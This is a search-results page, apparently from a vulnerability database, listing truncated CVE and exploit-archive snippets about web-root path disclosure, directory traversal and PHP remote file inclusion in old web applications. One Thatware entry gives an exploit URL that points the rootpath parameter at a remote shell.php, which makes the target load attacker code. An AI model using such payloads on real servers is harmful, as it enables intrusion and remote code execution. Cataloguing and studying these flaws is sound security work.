292 matches found
CVE-2006-4907: Undefined Security Weakness
OSU 3.11alpha and 3.10a allows remote attackers to obtain sensitive information via a URL to a non-existent file, which displays the web root path in the resulting error message...
CVE-2006-4907
OSU 3.11alpha and 3.10a are affected by a vulnerability where remote attackers can obtain sensitive information by requesting a non-existent file; the resulting error message reveals the web root path. The issue, as described in CVE-2006-4907, has no additional exploit details or mitigation infor...
PT-2006-5449 · Premod · Premod Shadow
Name of the Vulnerable Software and Affected Versions: Premod Shadow versions 2.7.1 and earlier Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the phpbb root path parameter in the includes/functions portal.php file. Recommendations: For Premod Shadow...
CVE-2006-4063
Multiple PHP remote file inclusion vulnerabilities in Csaba Godor SAPID Blog Beta 2 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the 1 rootpath parameter to a usr/extensions/getbloginfochannel.inc.php, b usr/extensions/getblogmetainfo.inc.php, or c...
Thatware 0.4.6 - 'ROOT_PATH' Remote File Inclusion
Thatware 0.4.6 rootpath Remote File Inclusion CreW: ToXiC Bug Found by Drago84 Source Code: http://ufpr.dl.sourceforge.net/sourceforge/thatware/thatware0.4.6.tar.gz Page Affect config.php ExP: http://server/dirthatware/config.php?rootpath=http://server/shell.php' Greatz: str0ke milw0rm.com...
Thatware 0.4.6 - ROOT_PATH Remote File Inclusion
Thatware 0.4.6 - ROOTPATH Remote File Inclusion Thatware 0.4.6 rootpath Remote File Inclusion CreW: ToXiC Bug Found by Drago84 Source Code: http://ufpr.dl.sourceforge.net/sourceforge/thatware/thatware0.4.6.tar.gz Page Affect config.php ExP:...
SAPID Gallery <= 1.0 (root_path) Remote File Include Vulnerabilities
Exploit for unknown platform in category web applications ==================================================================== SAPID Gallery = 1.0 rootpath Remote File Include Vulnerabilities ==================================================================== $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST...
SAPID Shop 1.2 - ROOT_PATH Remote File Inclusion
SAPID Shop 1.2 - ROOTPATH Remote File Inclusion $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$ $$ $$ SAPID Shop = v.1.2 rootpath Remote File Include Vulnerability $$ Script site: http://sapid.sourceforge.net/ $$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ $...
SAPID Shop 1.2 - 'ROOT_PATH' Remote File Inclusion
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$ $$ $$ SAPID Shop = v.1.2 rootpath Remote File Include Vulnerability $$ Script site: http://sapid.sourceforge.net/ $$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ $$ Find by: Kacper a.k.a Rahim $$ $$ Contact:...
SAPID Gallery 1.0 - 'ROOT_PATH' Remote File Inclusion
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$ $$ $$ SAPID Gallery = v.1 rootpath Remote File Include Vulnerability $$ Script site: http://sapid.sourceforge.net/ $$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ $$ Find by: Kacper a.k.a Rahim $$ $$ Contact:...
phpMySms 2.0 (ROOT_PATH) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ========================================================== phpMySms 2.0 ROOTPATH Remote File Include Vulnerability ========================================================== PhpMySms = V2.0 ROOTPATH Remote File Include Vulnerability URL :...
phpMySms 2.0 (ROOT_PATH) Remote File Include Vulnerability
No description provided by source. PhpMySms = V2.0 ROOTPATH Remote File Include Vulnerability URL : Http://www.phpmysms.com Author=Persian-Defacer www.Hacking-Boys.com ============================================================== if $POSTmode == "1" or $GETmode == "1" include "config.php"; else...
PT-2006-3777 · Mybloggie · Mybloggie
Name of the Vulnerable Software and Affected Versions: MyBloggie versions 2.1.1 and earlier Description: A remote file inclusion issue allows remote attackers to execute arbitrary PHP code via a URL in the mybloggie root path parameter to admin.php. The issue's validity has been disputed, with so...
ACID v1.1.3 CMS (root_path) - Remote File Include Vulnerabilities
DEVIL TEAM THE BEST POLISH TEAM ACID v1.1.3 CMS rootpath - Remote File Include Vulnerabilities Script site: http://herve.labas.free.fr/acid/en/ Find by Kacper Rahim. Greetings; DragonHeart, Satan, Leito, Leon, Luzak, Adam, DeathSpeed, Drzewko, pepi Special greetz DragonHeart : Contact:...
CVE-2002-2158: Undefined Security Weakness
zenTrack 2.0.3 and earlier allows remote attackers to obtain the full path to the web root via an invalid ticket ID, which leaks the path in an error message...
CVE-2002-2090
Caucho Technology Resin server 2.1.1 to 2.1.2 allows remote attackers to obtain server's root path via requests for MS-DOS device names such as lpt9.xtp...
CVE-2002-2090: Undefined Security Weakness
Caucho Technology Resin server 2.1.1 to 2.1.2 allows remote attackers to obtain server's root path via requests for MS-DOS device names such as lpt9.xtp...
Comdev eCommerce 3.0 - 'WCE.download.php' Directory Traversal
source: https://www.securityfocus.com/bid/14479/info Comdev eCommerce is prone to a directory traversal vulnerability. A remote unauthorized user can disclose the contents of arbitrary local files through the use of directory traversal strings '../' relative to the Web application's root path...
CVE-2002-2009
Apache Tomcat 4.0.1 allows remote attackers to obtain the web root path via HTTP requests for JSP files preceded by 1 +/, 2 /, 3 /, and 4 %20/, which leaks the pathname in an error message...
CVE-2002-2007
The CVE-2002-2007 vulnerability affects Apache Tomcat 3.2.3 and 3.2.4, where remote attackers could obtain sensitive information (directory listings and web root path) via erroneous HTTP requests to JSP-related paths (test/jsp, samples/jsp, examples/jsp) or the test/realPath.jsp servlet, leaking ...